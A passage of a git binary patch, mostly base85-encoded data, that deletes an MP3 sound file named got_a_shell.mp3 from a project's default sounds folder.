znJ?Ns4jjllcpi>|dduKNP{0udu(BtD1}uDSS)koc*wHm4(pgZ!h<i1>NI1s(4$lY# z<%>XTc+b#}FgyqGC0LC{^pu7dvIsWxaqt!mLA{N(xH<`l79V(YG~`}7W-<U${VjYe z8tOR@81p5i{*r6pumo^N2<*tWfB;zyA4(8>NaxWD4Gp#zK8<eRVFIZ9SLksW__1zc zKCa?>8~mafur?>dkCOlo!xr%58_@D6JR}Z0yAZz<FwRVTlL(KC3%-yf+~>lIX5r_# zfEkKF&ovZeB>EQzdtx&nu(gUoRl&`6pjIDa4%=XMG_<LPXB2VgH+X}-fiiXRIRPo9 z!#w>4d<hG_>W5FwxHADB(IEIG67jSENR(W73p9M?eT+z}$$kek+KKj%4+?$$P}*88 z`0BF3JK^xajfcNTg_ov1__6?P@VG}qW8DXLd@e=4xG=A~&_f<x#SDzn4_Kq7@PRUr zRpZd-9L%qZYVK3<*D>%~7{*u;-)ot0uY<~cG2%18Tz`fq%ZAkw2)_^oKcj|fOU0Vl z43A_q-oL>}>cCt22;WqKPtb~0;|q?DhyPde<>jD-bi5L=YNo<geiF}31g)~M4)<do zH013qpsEb;D<=VGRUZ6a4s)f=aTBb}OpM_UFx>G#=cHq1pJ1NK!E2a}8HWcPoG=@G zxdA!29euclmU%p3A8^ah(b`u?fQRsJ=s?A6@D7b$>9GoIptc2jjRBuO2Yo95dtn8~ ze#Z{>2WCMJ`WJ%wRY89lcgPrv4KrRJ)Vo*8o6Rv+H|F~b+Nlj{Xtgk&<5~AGtKp#h zBS=_y($I1`B#VH#iotAXRgw&tEgj~pJjSNg4T!{3iZRCB=sgQB>uZcf!(wM)9f#l< z_n_IQV~yG%6<*+ZH!vy^GIAHz;Y;ua1Iqja#eA^tG*7QKk3aF8R-knf=19xitYKE) zz?*j;KF<R5CIPdy3D4G6X%f7aaQNU!9H<|P5&DCNKcGDgy{utSQ}9#`F{Ogq&p~~y zzJmh(+K5&42z}ZKPtQs8m<8{A$NEdacOvMNfPLo+XscnWUt+Di!b}tclXVY$;xRii zR+<*YkcTz+9QUwznufFcj_*ZqvxuH$fa^HSTQb@+LB?o3O^5tzh0*$=Pu0;EAFQP^ z;81_eZ4pMNp`9s6iA=1FhZyxY%z(4B2Mj0`0@_}~v$aSE4S{O{pHYx6DUi{PF@m?a zG7+Or#H>Go6vzc{mf)uzsPq!NP!sczhFN!Gb=u*P)-cnrF{V_EO{2>NtU+h#%;rE= zdC+qLvs#3Ezu{^gv#elLGPoogPpAUf5Qn~cA*D1VqJ~;DK~iWKeh=m-1${^Wb&D~R z$>5u6;6)7`Y{CBL4;l6eqm9OxOz3$LzV}6MN-%?Wz#Xq3365g?ukf4?n2i$jMDs2S X=yNje{D58`2jyO3%s23qFY5mR5oo@2 literal 0 HcmV?d00001 diff --git a/data/sounds/default/got_a_shell.mp3 b/data/sounds/default/got_a_shell.mp3 deleted file mode 100755 index e39d3031348c678eeb37eba10386af65e48cd12e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15906 zcmds;^;a8FxA#M^5CRSE6n7}v;sg)w4#kTX*U}Q)-L<$=yjWY@-CDG`Q>?T&x%9c~ z`R!frA8_|tlbOkx+2=d+S?A22bM`36@Sy_!*)wf*S)Qjg`qSd%>EVvNOF;Yg|NqYv z-o9~uDu4F0FaiMLSO5$R92^`%LP81(IyyR5R#tBASFc`)i;K(3$|@^sX=xc47?_#a z*x0;%`_|Lb-`_ttI5;XQDlsu5Bje-8kENy6)zyuSjqUB--Q7b&Lz9z}-@mV}u5NE{ zA01s>T-@B;AdydX2`Nje$ntRs3Av$E{#PC$f&tA<4gf&>(@`n>{_(#B|7X|#3kYQp zMT-h#2H-VgvnYT7p84A7WQG7x9;hn$xS#F?P}>CpxuyXD&2Ih#uOpr|aL=UA{KY{) zK=7BRUz7;QbL81z_wRcs8n^#*2_zb>b@x*_pk>|6+zbXq>;8R&*$sHwpjr=Kzy9!a zM%=UT0U!WDgNnI^)c4<eq(MG{D336^gjJUmKPRC(AJ*>5660IdIrAS}o`~G^*(3<i zn+j3Aq@Bu<=Z*&QGh>|iaP@Zm!B7|kC8iMT5V`lBCsn-6E2n=ktii`kT&iTqz4yWF zT=!j4*<EXm!_4X4UHv@KgR47oyi;uO$nZh${KKu*+IZ)KHBV{No=<-|;LUHVv_uAg zosL~{<}D7Ix-<Vi<qxX+O}_pc`1gscfqLAKO`#BdJ!+ieGZU0`zhH)~5cmi-E8Qp8 zEsRRB(m6BZj7Z$JR78E9oD->gC$~?Pe-m<rL&eYJm&DgN_fL2&Odo{9srdH=#6j5( zDvV&iAEIZxj<)GYByu;E#CO|{PGBKzN<i~3cH}D|iYf@4${Tr?goX`3g_zIUnB@Zu zW&A{rNdef~_2RKSw30!!m11F_)&^PfSk(blIy6!?N%j46;RtZ10xMi9FGX06a6pP^ z3$tmmA5Dj}MketYm#)0Gw0N@$>)$^Cz9|`pG=sAN$Oq&t^ZnMhnmXi0SB+;A0H5G& zr1|Gp7lJamS(8Y<zq?XJYL~}v#zCy4GV^OqcxCZSedHgVqT{UQ`Bhvcf3trOMl;UG z4h4g@desX^KKWQQ1ZpR*xe<N}*q<Fn!Q>nFTf27Q#pecSdhr7!D<V$xLXs@e=!zXd zHTR{VvEMzXTQW<g55+>Pg^b(8E5q17_%E8AlZb^DMtqaBApfJ<Kc7P1v~tKMT8A^B zZfq0&_H_mrqasQ~Mmt8vAx-kMk(Lhkl(4}zHen^5DB1C#uA@2!JEa?sL6u;zEQ5e7 z&g^%IuR_@Am7sguS%vJR=B)SYUn;g{75QUs9VFgTiI*MD28+*I_<q&?v3z^lVEc24 zD<({?kag9k_MUVNZEA9p2xlRi;i(^>M6+&iZ-$p(u1EBV!o|^j{t<!z=%yLf?T&fW zjmi|ML@i<<%AL~63~#3cGFj}xaI$cuPo>OOR_7R*$laC<nQ~ulyS}aF)XH02EwSet zx)T4=*gQ*)!eXTEEuM=LApJ)yMmFm$8+Z>sk!RE*Qq9<agUKG70s;{0fy(>#@}(81 zjSPvfgU-U&cceZq$_xI1=Brx@Ww8tH=wKGZ`fA&aRyDO;T|W%kl9=wT$2^`270aFO zO_{H0EwE`06E4)rCz>w}<hO;pmAOG}!FKonv}A>>qIHc@O7pt(8kID9y(l<kTpvZL zRvAcnu3ivhYH3nLg6`XhyjBnn#cw`2=9T`Tu-i2)yP=9I<FvvJ-24Q}tx_pSu0q|; z%RKg^F`t50la#h)NSJE<IuT-$PJzD=+X~FzTWnwXYrrJVUlW#*DG*o$g~n-E;kNYs zb*&N}qO5M)z$TmimYs#6wZ{MZo!#LZ|0o^l56xWACW5eGS|uQuTj?c+=Z=zRhsapn zDnnSs$6MBXeg+T$0LV>45JJP(G497Ghe}EZ;RZt6X!mqB^xOyj5qbsy{-smv^@FRM z2ZM#3<-pPFB_=hbZ(XCw4=YM>xcqh|xZq1FnKW*^=UEFzZiDG83KAviU%keWLRzvF zH!t)^hFky#_-@j@vbmUkhJE?L7Yzu8MS>S2Dd(=nb?CY^Kmb}Q3|0n#*?4DNs)+Ie z5Zw7pg+X#n?Yaui8!&><XrL(mQK41oO&J~A&JSxjB+LH$BRpI>mUEW940j3!(FC#J z(&Xk$%!a^zNZR2aAR`!GG(RJBrkkh(xuq!EVhB%B#{>nE!Ai+^B1YbrhQdBYRj+PE zDzIkFNpfrc+E?LH<(^KlAiA1$CH1{ZN@CW?;2}iO6&I3o4)H!`#s!uPRX!)&{JKAT zG+j}Z>ymgt{Qk)M;SVcO#2nWy4HQO5s=q?PJp$3y0y`NkFzUWN59+a4hnJ(l78PHW zyvrGhl^Jf~yjYQ=4jA@OE#d>Mr&`vJ$X&|^;Ai1~vi0A2pzX<zixMPpn<V_;a_4RF zIRYl?OK#P9Gdz$5U;_}ZqA_*Hy{W@>rNy9(F$-kqR&_}GvG9)&4gh#7s;T6Ne`W;+ zKbX^*VrR0O#1yO42UApur9}FNI3m<(No4F9)MhH2lQCNm?<0?L1IId28iH1njK>E8 zn%ind#&qFYp6)_kZ{uv_JxWXrrb(vX=fq9ANd|$KQy<4~0R+g)B$LbKnv&O{MY>Az ze+={Hf7UN;J5my(Mup|WOqVsLC4Eu8%FSt79zjddE;KD#+1tFgxU2gur7|yav{EUh zwbv8(_xzk~6ffx><Ftwr5Z!F1JL$-M&`A<*fJXW@3~P}LOIwJN-HPV?Oew2K-AM4; zm2m8IN@G;lm}K&oZ}0d`G@1NR*87EIH1`+f2w%D4P(N4y$e5;W$djK93R1mbr_lm_ z_;Z*wyZhQryIWb?c>JBO1hSf5FBJgPf5U@DnW|6}$`1TU5&{xNmsuS>&B+3xNn(Wi z9Qu5mux&4v^QDE-B)7AbF3PdIvP&ivhh0kxY1q<CDMU!VNHo-<yRyENHT=*{DUAp; zOAt?c?&`X>u^VnQyP`r<^SL@dJF@HZaNG_vg?O}J3xZpjm+n8$Ap|N|ap?%cdjDF% z$i$p3Ao`bvb6JK;n|~$e<!`LgSfG}V1{usPoVR&l!)btwDPqU{x2TR3-aMG0kZ#2C zvW6<pswic!Lv8;ek-Wx(_{9yIE08j<R`nuM9+de*4jCO?K8>;wzYSt{s$yZKRp)H5 zY*QGREZ8Idjqj0vtz;HZ;v+W68=?9b3YpD9ONfFkEL7|1d1AagNYNwyq&2B%<)t}z zqitQHoBP%anRZc<>YdSf+eRMzReadu2>ClY7$k86gsdH*fE9CqZXd{t6N*Fz!0X0^ z`5_BOcE$)FT^x*OZMHsf_bx&%0RfGe2J$rI#HJ59)hCmwIsNoR(z%9d!DMze69Es3 zq-2Tnc+pihmw%8eW?d^EZfP0h4Z_zIvfrE0Drg~8)w*(l-E!VBL|uP`?S$f*8n#h; z>TJ2+k4pD>2lkByA9+DZ^#K+TN!Xo`f|q~wE-PuJr{>HU#0f`vPwhsVTU)-6=XH(j z+gype7*dLl-;xa2CHDc$Uc)pcGwWVKb$d7lZG?CB;;WS4+5aU3ym@74w@<|IdUshx z)S^5FN5rO@L8Z-++3AVUN&czuWw!CloniOKQUjV(qvi1gpLe;x9DUMhDv6jX?{`-- zKjx+`;(E&apIJxK#g^|Pcg^91&j8(4^*>8IQ6=-)V-JnpKmdZ}HxarAF5Hs(?qSv6 zWW|@_TcoB;RYMGZXtzs#@*eN(v$AD&avOznUl%Pb_D&%p;5si>_`VfEuiLGai#mEG z4Cl6!F$8NL@WR1(IH+ae<jA1}a<j%&cX+)LfcbL_!qS?1{~6IcPK-xTK-1zWe?}u) zpmAfNFM})CcT^HDNmkDZE6~B{WP}B*p=@wbnZD1<9aLblqf3?*F|j_~+Vm#9Bfx8n zMR;!{&W%+MiQF?BO`RXmWAk$|Ba`?`LzpN?7~Bt*fOtq^bhq#XRWiaA+?{nM%<%Ak z=g=}pp(VG$UcOqr!%&Z5^&2-`NHg%&Wy}h3s1ztXp1E>9Spwsh%lj4OMrk6E_a~!{ zpFX`LBKNchjCzeF6<5L>nbkvv%?&xgz<IBksYqF0zxDt0atPqKxY5Bb`<R}5hl*&w zU$nNXLs{`4k3B9I|7EN=G=bDcH1q{$Mguduc0=(k=@07Uda6C|#-DK!`?|6vix$10 z!oaBjZRACzEyvEuLUOtJ<;|aX997x=we?o?aVIkpt`3wsBL(vY%5vVW>X$z(9qm79 z|9ssFO%8MK!Cz^&d9~O7*@TVj`$~=^vRyR3`ATZ<WZVr8&L%NWggmCBi`#@vn5@Qa zs-@4KvrRu|-WLbyIV-Xb5_s715oq?kZt|#Vg33|jiS=w@hKeOV9~aILCj7i61}Drk zm#AMklC6mowex~fQ-PworGvFMi=WHabQkjQ?HH$|H<#;VI;pVS@*;0R(qQGb{OINT zq_;!c1C|K~4E;y4{U%z4HYhf&H*#=~F4NtbrfY|tj)bB?ijCZb6@ibatsNPn!g$bp zLP6Bl3f#QLz(RHcQ6{rrjBB?g38ezH1vA%{7n|=;@g`C*01yaZ=~a?6A)(+9<N|@x zu>YBEq~{A>XLH&gI}H;xqA$%#XB~c`TgTftWOlcT10nwiks*ME#M69!W>6LLs1a*= z{%E0iof-yN1wBmGKgBWm!PSK<R;rW&R*iC(SCy;d$X_P}9@4}g2?OL-<KZ~ZB16{Z zX&IJX+|2q@=KbQ)Szezi<lyJy6`y;)E2r(k=#^g4=gY$uJwz*v|105bvsT)(Zb+QR zaZsaVzpwv*%d(TM;cMr!PPv;n*yYm-JpEvewv(ul(WMb9q?DCMlg5R(rIkL@$cW|w zCqW%XEL+@Wi?qvHnwhl?er9*H9IoBoXMgMzc`tDgaH*pjRVIG$F!hlx<5Z5G7AjIH zMeJ2Gh?*m8L4%bu4+LxE_dG%j8NP$i3OuD2j5Qh{5~ySdCCzcDrG>iF7%(EQ3`?y& zltlAcr4z}pe=a8ehwFFO%>th)vz`rlMDPZg-CN{5CuZ>wZ3?7u*}#|wIdIUR`T^?V z=~cs`wsf{Sc`B8(rYmVIy~xMNQ%jAZNyMvk4DX9W`p!+KD%HaPQfOIs3dpGx!-ki4 zPc7+=`L$M+2+!Dnm*r4)jashWK?Q#Kpe7YXVnjrrJ@6l)7YN|J&FmH`fs1h%d9FD< z3s}9^WEV|CQk}x#OIPHX+2juo1=g`dRu6Ey2frS96>UQ<>Nq&Z!?0RF`ALI8gz7u7 zCk=&C78^qQIvhNBK&MC3S|k!0gsMNtgnY1|%o%|i3sOm*g^0G4*p~FubqN}Bkb=0m z3$ZbTtRl3SmebGz^Ks26vZu<XIm)u`3%1AZ6jmaYcd%&r@!}NV@vkU0<-?#2HK394 zfD7Y5n&IBNPUQYB7NlB++qNwkqo5&z%ZyG)^~;#Ax@D<C2z_ju3mk?rhU)Hz^B#Z1 zmt^M|vxVw3iYhEDV>-s|lW*&q?O6}8P63%g?V~bGAt)leO&Ma1L>6T*lt$H=P5TC` zFUl}><BfRkz7|z%Cbmt^@OVY<ijWs_#h2+R?18_Pq+01o2$6>8WE=_z)>wk^2Xsf> z!<E?x28s=_9*2kDgefz_mH9b<IA^XF#KmX2-bf^l`bw(lNQ`wwuI0O7Hm4?}0uoM# zpMNA|DcKzuvC4Xv!HjBN?L*xY$}+d(K&lQZWB*4;3;--;_<nOt>Y^Ev?PwlM6~!>9 z6kcbEqLggM{TJe5v9hO3ttKp6IN9LDF*O{rp75V~&*}O&;V$gxolh^sEo?jy_U0nK z8*IS=K1s9!`A`i-+F`^`fF|@1(Hg_NC8u01nW;bM=Mk+{T4kr{(zWQ$_2?R$cpj5W zA<Wxh&42v+=Bj57-{j)sgO7V{E=}S54Ho^6&DRQ&6ddCK*#z`*6VlOsN^1U^-o=EO zo-J!8op;F?;0cl0V!1LE-5F08?H|0SvoYKLmTa#*tf|bq9sZ`4TikZu$B@Bwbu(;( z5cAhz9KR<=&e@1SU)y3*d>PZ)K=NMxpw~mRb(KQt$u^}+N)e$<NqR4428nGh1x>{9 zqOQF5e5`k;`k(|vKyda)^^5r{;3iGJLIx(f*n?t?X8sWoWwwUiEmCU<PtTo%>8}!J z5<o$h3Gh4;o!*?ZSdLr(tzMFLM9%agluDwXEIVE<YQo*KVA-9vPc;v{ha^4G*41ek zBpV__lz&{+uJk)wm74@h-!)#53fc0P2G8mrAzc8l?D==!0}4UyZSW*_j~!TWP<D(# zK2Vj6r7a93IHcSKBjK1Pk1JljolT*tpv|`J`E{UE7^X_#Qy`OdxkB2=DJhbYY9O|V z?GrgH%+4gVBxSOE8z2(Pi*jf#@$hzA-2h#Se`XlDR^`Z4CmSLu4FH%V^V?%X`=I;) zOFoLUv0>*MPxtD@*#j6XFwa-%Wq$66Vs(~DLQ6zW#C|dTpxgFpXX*TWpD~*7r9KyO zCMWG+tJX`_@|gtkj&q+v7Y0C)m85%Njt)Ozdxo`Dzv17wX*fo{Y%?2WtxgaU`Kr9H z%qN{U%r|?(IE2FupB7!YpG(>*bUS{=jG8*o19R!LXx|}pf=6z(BJx3pcUI8K(Exy+ ziDwx@Q$f`;<@3Q%^hKJ#l0mSc=eHa!Hbf3fvR^{VDgIus<M`PpDPgy?bD6Nb(r2;N zTe_%SCA~FRK?p(jeVcOo(EcdQp&Nop<mC<R2}E7v%UTEuO?Z8CY*?H;upF#No>@KB zv+gt&3FPO<#?kU*aW(uv;FUrmF?}#t8~u-vQxLF}dTRQq4Qcg7k%<N4l1@7)LcS)C zl5iYIrZ@On1nP%=7K9IdpY*s5gm8hwghIchmvzHA@N<Jm%_4l(P*yNeX?w6HP7*fM zRE!J;2l%1}9WyInwbE<sINdJ7xU#6(=4ixSbJ&3(VWOD7b5VoI(l)A8X#H_-y(|V_ z-th4$ayLX1yF2F)U;(B;C@4^hqCyx<MpRHVsFqZZSej~`+p`G6vIx{A@tFCnM<Skj zy&s)o{2GQ2dPkzaV7u+YhA1wm$Qp-mVXO=#&`S;1&A-wNCo0=`Whd$WK%L`v{h5U* z!pJftCf4yvtsL63UT&FTH0<Y37}U+WKpO@Mk3FO6a^a<<$vHW|CA^$(&IyRwtY2ob zS7)EP8tHX0#tlw{?Jh{7*9idErEo(n#hU5rx2G0o!zFnvvvV`*$G<6$&BSmNVGFfP zV1*!T(Ex}Doat#A8air9YDv8q+WKvtpQxCQW|IhdJmf>dJ^j8IG!y3q3Y&{x1QWQ# zu+F+^M@ze3605wT3bzTv@Pl1>wuINy$aWGMJ^+<eR1Xz}FTr9jYTfLO57@=TDTdpI zM+VQ~APlmAT#ECbt!#==-~dnMn-8Pl=)63A>e-&`y03W7Wrh>h2T#mv6HFNu(9vO8 ze4NPFK9bD0;)f^jgTty1urtv)o@ChnSH|>zWsvbo=e2+d;W`U*-&}*m-J@#g@Rfi~ zETnEy7?s&iz4kx5x6rf~v?I>9V1Q39K2@QkqhsFqkPEB$9t<0@O{B3U!ZDZusFcwi zB=W0-4&}B=f1^yx$;Tm*46J)COx<IZO7RwY#8(bs$GmByChtZai04f_G;_H;%{>$i zeMZlSzmrF&?h*eZjj^w)oSfaBD^f03z39OVD9)Rv@Xcj}v4U=+u-kw1Vp+Y(O`HvT zINH-iW0mJ7S4s8$;GKS~()|^82?b8``71M1JQL#gv#nk}GG+Is;Lr1I^-!Hs%57b8 z{C?0wC5SjHwP{I~BlE|6AcThLrHri5hvmJz*JD3I@{I&E0&7U^zhl&S%~KpEvC@ES z@J+c`Tx<nl{|HeafLT;VM_3e;8uXR7*1<2MxN}XENgd7AAr2M6IDPqmpvNj!@twMA z14%*qqc^wXB4jU}x7(wdVj2-pDw*PBA8KvtW+*gRx+>mGm-K{}Bs1P33@S1Q<$#U+ ztM&V<c?KQEu+B+BL4Hb_d=&HtUCsAB)iVG5d2xA)+bs;&ogO~d&`qr90+7?CDCDD& zPUBls!R2_|0X-gV8I&e@-2K3So^cNb+@mS;J{$%J*kcJS<{P2lU#hY3J(lK=Xq2L` zZLIAUR)&BmB+pc`An&ut{(OhUYXD{uE59~CG8T_XV=ja~lN<89WNc*fm^O@q@A0(H zzJSL2buccC9XFFL<jJLvB~1++FOdKgikSoJ@ANQXp!CIZwMuSjTO+<97%(MDt?Ls( zll(<D!_ZF);jm)S!#3kW5w&5NK>f4CfPCRpJ4nIzhhQ>Q)O}$|?OQ>JZID^c5z}eF zy$3}EY#q?$L5|S>naF(yo+<m9uKe+FwL}eqnYD?b<+c)3A=QCg)~z8?c^X5NS>h?9 zu|oYvNB|Lx#bKziWx`>*ZTMjB7zsvP*(h_vH_Y>nVnZUQhNRuLnCT&SW}8f152Y5L zzd6XVEq*D@RoR?r^_fk0^q0fMpGn0QG+z)|X>UCJ_=pwVw|<5d(!2kh&-VP5HXP+F z0;OY=42CnL74?-o$6HtS@~erH7G{t#o?HPI0I!F^ssoMR)v*0bfW^)yOmdmA-jF56 zi0%x8TY<&WFmB=4Ha0PSUq^=kk?K*^u~1fxo+i({$?}B_E!zZg{4xHA-o^r)UV;O2 zp}xc?@OX((ChTf`ok4&d<VnQNEK>J45W-7TKs|0gx9Hpu5g7trvrIRBX}1rYP)y9- zu`CQ1`Sj^8<+yHDF6m*d^UaWAW9M&;!&|?d54Z~9@ikqKLo=0q&#alHD*=eYA{QDS z`FXnNPbDmToLKCfwO{Hh+B6U3z9UB~_+8q{75N3%;tLYVi4xA$nQz?7nOt$nlb_!_ z$JWMDHXC;Td7Do1d9TCd?qdpK^YnFoqCy*#wCFHVdLhY{4Buq_^G^GJ{3)iD?aa0H z@ckns1OUdcFNk1Kl<O3YqMFltM1i~=n2T-C)#Ev=e&c*sPZ9O~5??Aa%n>e&h83WM zo1X^4Bu61nO3*KYJyW^$rK>T)k{i*IvdiJ7CSkUF$Iyu!LsK2s(E+wzZ)nhNB{)CZ zuomu03f{nwG@AxnF$(Wsf|<wl19IZ{9&so(&vPVy>x0DiD-u{zgyHXhj39y(jbr8v z9yG!gI7{0wD%vp%Xad2Nm94-5S_Q@-pKX-ZX9GvV1awQhY^*Yub)YzBnUZV?75#wB zROV5P@UzeMv@?e&jXDAw+y-V$g)97!`jC{%?;p)|YDW3y4sX&j1&|Lk<mf2p!xeyb z<!;bmbWj)T-#|31j&YtNUo$00jEA_!<}Z4ow8(a-Ec7sDQvnBE{)jX|g)KnkFa&Z@ zA9JA3!7m_ATTVkIbyOQ|EYf+B{dcKJLLEy**zWVT+wXGBN@KJy=(1a|l^ANQon&+% znN?q_WnG=j@wH;lImS-J-*}anEa|=3cOe-4(w}N3aMU7P;D20wt`6HS<eqt?4pMyQ zDELQ6696ospJunC;MNYl9XAiAz#f*ct|nCz@?v4HNQsm%-@)9F2Wq+&D=IKTfwV&r z&CFCtk1hA<h(0;y7tzue`kg1rnY>oR6{d?<#Y1QSAY|7mHv}5lU@HS1RN#<nU(|IU z%B}QZQh{5kt|idh%3bWR`aK>Qhuo}E0X-IwJv0I%Km{hKtxPF?TJcurNzPls@902$ zo^x(TE47CrIn`M5S0Xp*ALRl8`H8BfW5-f>xBu&0Wxly$TXo)pUZDaK(V1)(n-M#r zt=V!>|M5`D|0FJu#}63@phl2pX#o7YL&5}kMQDf_zFfTG<s|lvKshHp-fo5Cb67sV zD|hOK#45@c@%0Aw?LX&b2$wJ3teX*{Dh}(j(H)(mxuj;~xfQ@cA9HkyWf5OSEi@tp zb!@gR&~Rf7C111|PJG`l2e<(SDbG+JG0AcBwVU%9%8i96)ISufbLWebQDr1xp-l?O zKQ`lhE|{)>Uw%1T_qEma(4mZ1j_$)7`W4}_xb$_4RG1he^j;1RMU%rPle12k@gJer z2vk`Xommd4Ya6S|O6#!K;D|=MvSJrJ?ZjV~mvI>Ni0C#WzB(Adj@0U7>JNjZRU$Nu zB6v{o=P3eUwei5A)tFLIyyk@`PgUgIk6&>Lo@Ot<5B&VuDnQwFbfREwBSzY=#>+JH zl}eA#O>5q6a!&m+c%v*NIs+>7rMRKeQR(OD@-0&!V+RFI`LZLl=gX{+79+}TD3?Z= z7P-&+ua<Ce(RswHn&8vCT#Yf@Z`=4?$9qM@9f^rNtk$SCgRe-5*$AlgJ<C>|&@h_Y z6s)yp*I!@xGc1dyg0bW|R2b>s!dz?cxA<qYD`d-8H8P_vla2NrBOhW==!h66YrFc% z4Jp&+y^Js_g=+TP{ua&SuC`;T#14cU#tSkMKFT@}VGAZ_>3#7X6&7Xc!b1QQnD$Xt z?BE=^6)}f>dW}WT8i!grJn<dzTEGAerYKu4{d!H-(m`MsqE(bEGx0Fn#9mC@X*nV1 z(HnUfS}BUhT|+JF8Rvb^J>ZI-n-3_31MuITJYyUxk<l6Jo@W~g1?~q8!e9u<@;^dm z2w)2R%E2zhipGxLk~zI$R7kg8b+L`4Vu|C~Z>*ma4f}XW5+3X(Xb`4AxD^y1AC2xt z%@h$O`1_N)glL@FwSD+weQ5u;1M*_h+`ei*Nhqn_k!Y7fT3>?ZcR-I!vR0;?ZSI6j ztTsGe>zpM|ufsH_w}+(NNg`tSav6^U7PG`YTByENqNa2w{GQR~Z^mt*?ayP+q6_Mj zj>GZKYHs?Q*?slAO*$`~JJVX&lVDyE<X;@iwdj2E3=(fiO$$<4SjY-i;r!ktGq>kx zD1o_EA<AdR6nU_Gb@{5}b8jE-S>%by&h@q0?{Nti$Vm4^PC>V1$mH<7<i?rSTd4%@ zN}Th`n)(=Ds;@OQTGKNld$OMYZ=dm`EQEN6ccLagsV=u3cYd12hag2~uSlw&vyM;_ zk}BVS^q1T?S8M_R&`QCCk$m{A#}>41S$}X8RV?RkELaF6aJ}aJ4qn7rU&P`l{MHKG zer5P3|M<uk*Y}SI@b_m5<K}(k{t&@pR9r8aiaE$XLcR!KF|V0ju=I*HhLW<V?Yp=N zZzE-HmF_XF6OZonG{`P!P&$l)i5q3*DZ~iDrDgMD#A5uFXul`6Z8IcklQb4k?){Ye zF|4sLbllDamPsmC<l!P3qLb7Fx~05?kQ(6~T_>@Sf17mD`;_Z!nUOwLmx@tpk2}$l zu=i1`?uCeX^XTi4F@1R=KyRDO(G>S9vyk&%oP#ZZ&{L8G9VVXeeU8El$7nsFQ+jc! zXQFAA4|1K8$OqIYetr$j)wgy~pvo9#lo~Fo)mRidgO_5Kx%s(bF11MFZw<<xAdsm` zFqvG=<_GVBHA+lE5BH&CZ(qrH;XDh%tNdz7LS>iVlr5jj-ds5)o8aHDdbi=cD5Cfq zu&s9u4~EfR`zyZ|PCIgkBk<$QL^XX}D449&S?L?JXR)6}Y44w}#Aik95<;c!LP$sW z_XvJ}#l2n^EGo*Ax9k{!_|E-?mVHIhM#CpZ4MQar7ouj_=ND%)^;#5|evy>fKyF%f z+aYnme$OD854{&>dO>w@<Y!+3peb`k6E#G0L<8jhBjf@=Wi&Ifqi6qa&w*XTVC^?z z73jH3s?-fjJN3AXX;6oX8Z%!w7~m<?VRJs*O`c59OI!k1M_;_jTLhDj+*3>vlR7nY zZ{-iOn5iOUx>0undPP>rvn9%IWwK%z_cMh)bgotbl9CgoURuPf!~)dvh^IF@lfM?? zk53buoVLCDZgh*?M9QaIix)QXF@tY;p&%D&!?<YY1ACfhAt!x}Jbcem@YUmPxafB# zCPf=K+xc5P0DvWEp7nN;ZWQBF)bY?s8SgOe%d<1>Oer?D)14S{@E5a$wKvE%jhZG! z`X#0CuN-d}9lw2@F5e5o<rh`E8ipOH*dvFc?;XD|GJV!P_<MH;1pt!6$V#(G`qOYs zh!zu9Rjt!N4tK}#3Mq7jpC0wQ^Q#81aQ-^qrIIhp6p9tMzMC1a&>cNmC6Dtl+mh}> z`lsNge6PKa=o}dB(R8rp(y@`ZlcxJ3@HFUpO<UVtmv;!MeRcl%SvMiu-mVxEk}JAQ za2j^0>nI~%_4SbTWjmYweuTgVI1{U8%=BuCxCrq4&p$$5K)M{B)q{Nk5A86KuVTQc zDEPGJ7>&xbDmhnMFxEwm3ht7^62rm%LKC40d8)zmk_M<2$G$Z95#(^@$lM;xK7Q}a z>K}&t<2?uV^?T&U@SWmFK+=mMy5HVEU&`0?etZQAehsZi$Xe+~zDKd=MnM|%P5mm) zEmX~mjh2+1t`N)!k8tA#pbMEk^G?0ZfI<slbdk1lG8%2IN9M)f9LTSxe@AV0B?;yi z2cr`DMRGWWz8-eB4%$HL-EqQd+HkS=Hq92lK45B8t6jF7+i=vB2~trW8zYA*s2X3t z`%*jCg$Tt*fhrLM))T&cE4*O$B5UC5rT=DY9YaUDR+N}b+RL6=tG0%2mmu?t&ml`L ztpXyo;~)J!k`0(Xntmqp%i)ZIC%{{Ly<})WD1yBu2|DUQ1YP1-crr6)g)(D^RmBeA z<=qD!j<3GtP)@2ZqR)-@N6T_V2W5W#5TcG~ez3xY`Epf0h9`AuUAT8#wnj9~x8XIl z#-(OQq<d-t5ZZO@2EdVU+H0vHUbICkP0te-|Ish#g5UlTiUR<1Nq*iz@U*oo?w^|n zu|*}Md+*it;|bz9f4Pi}@(DYg4#Cvo#icx!;%o6$@Ci8MkN~MLPAlC~FaL4nKe?OP z#ip5Wjj`9<AWn_&_D++5g3vpZX;BrkL|0VE75}(>Mg0tH<WlkJQ3dY)rRUBiqNyM9 zEPzv~!-b?!?Wnkn4gZK~WBG8TQ2F?=^eDdn`_5YPj|DF}H6=Qgd@S1FSl^g7A08-` zt3TmLg-Z0E6TR(qoDFOZqf|!;8Af3)oZdVJJ#;+vON}!zS#FNHD-%7;-bXg1{}DJ| zL8{5`>B7{KKBh7~HlWjV4JzLD@TmUcIw=J+3US+-^-&m4jDDM5COBn%?M7&aF<np| zsiRLPQIhWCL^m;6F3M&bF)@Avi}H8T)o`__xzf`{>Qz5y8Np{KtxD6Wpye~>W9 zjE=H(@R1<^tY64UgI-kgHJk>oyI|4+cGY4qsWX|#=OW?{qz(pk<AO_=Oz%e}It|7Z zJ|t~ILM`aqSJrhoIsV+se7V>A40B$a4c7cbf{zJPTMaG$N2nYCtROY@-J~eifOANQ z_P9marUxH$+b60doxTr=sr(%J^!S+!0fZ71dhAbWvCSTOzO!^E@5MvI4Gwu!b4SCa z%sS{NS$)1*|L6P{Rme!$d%^Y;i^*3o4HsEe+tf&{&fOq>fcu))jpEQ6Qd_u)oh{?( zN`}bLh;5V)l_#i}R!0%tJVAYyaj*uAin@<&cymDz7Nd=zo$n)ux<cMERfUCVl}(4m zoD?Y)U&;T@BFEGL9;6kQzeRS~=>s0r*ghTa7o#w?uq+tR`j}T@Dl`QwE)zI7q2y=` zNDWiY0PBom?u$BQSpovW80Pl&-!tzK`MuuMcd;>`-ySQ$53z<xhr@pz2kLMAlwb23 zSlT{Y9;xDOF95()hPdYUjr3Cz+j!+U*8;k^5j2<dBYG-hcuBX&YKIVfQt!M7R~q#q zMKPSHTt-ZlWDb`1QY0LFh;UpNZ)Yp;AoYd#O>=D1rf+I)rcrx@6bkNX-+Z+P?#_jj z9shk6zfRSBy>*scU4L~3mB=Y0dSV+3c3TC9b7r#M?HkvB35{I{U@Ftf%_bkW=3qys 